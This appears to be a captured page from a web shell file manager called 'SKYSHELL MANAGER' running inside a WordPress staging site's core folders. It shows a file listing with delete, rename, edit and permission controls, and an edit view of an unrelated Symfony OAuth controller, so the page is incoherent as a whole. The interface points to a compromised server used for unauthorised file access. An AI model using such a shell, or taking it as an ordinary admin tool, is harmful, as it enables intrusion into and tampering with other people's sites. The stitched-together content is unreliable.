📁
SKYSHELL MANAGER
PHP v8.2.31
Create
Create
Path:
root
/
home
/
thevaxnx
/
nativize.com
/
staging
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
wp-links-opml.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: OAuthController.php
<?php namespace App\Controller; use App\Entity\User; use App\Service\OAuth\Provider; use App\Traits\RouteGeneratorTrait; use KnpU\OAuth2ClientBundle\Client\ClientRegistry; use League\OAuth2\Client\Provider\Exception\IdentityProviderException; use Psr\Log\LoggerInterface; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Bundle\SecurityBundle\Security; use Symfony\Component\HttpFoundation\RedirectResponse; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\Routing\Annotation\Route; use Symfony\Component\Security\Http\Attribute\CurrentUser; class OAuthController extends AbstractController { use RouteGeneratorTrait; private const CODE_REQUEST_PARAMETER_NAME = 'code'; #[Route('oauth/connect', name: 'oauth_connect')] public function connect(ClientRegistry $clientRegistry): RedirectResponse { return $clientRegistry ->getClient('namecheap') ->redirect([ 'openid', 'profile', 'email', 'offline_access' ]); } #[Route('oauth/connectCheck', name: 'oauth_connect_check')] public function connectCheck(ClientRegistry $clientRegistry, LoggerInterface $logger): RedirectResponse { $client = $clientRegistry->getClient('nc_sso'); try { $userResource = $client->fetchUser(); } catch (IdentityProviderException $exception) { $logger->error('[IdentityProviderException] OAuth connect check error', ['exception' => $exception]); } return $this->redirectToRoute('home'); } #[Route('oauth/logout', name: 'oauth_logout', methods: ['GET'])] public function logout(Security $security): RedirectResponse { $security->logout(false); return $this->redirectToRoute('home'); } #[Route('oauth/callback', name: 'oauth_callback')] public function callback(Request $request, LoggerInterface $logger, #[CurrentUser] ?User $user, ClientRegistry $clientRegistry): RedirectResponse { $client = $clientRegistry->getClient('nc_sso'); try { $userResource = $client->fetchUser(); } catch (IdentityProviderException $exception) { $logger->error('[IdentityProviderException] OAuth callback error', ['exception' => $exception->getMessage()]); $this->redirectToRoute('home'); } $code = $request->get(static::CODE_REQUEST_PARAMETER_NAME, null); if (!$code) { return $this->redirectToRoute('home'); } $requestRoute = $request->get(Provider::SESSION_REDIRECT_PARAMETER); if ($requestRoute) { return $this->redirectToRoute($requestRoute); } return $this->redirectToRoute('home'); } #[Route('oauth/reconnect', name: 'oauth_reconnect')] public function reconnect(Security $security): RedirectResponse { $security->logout(false); return $this->redirectToRoute('oauth_connect'); } }
Save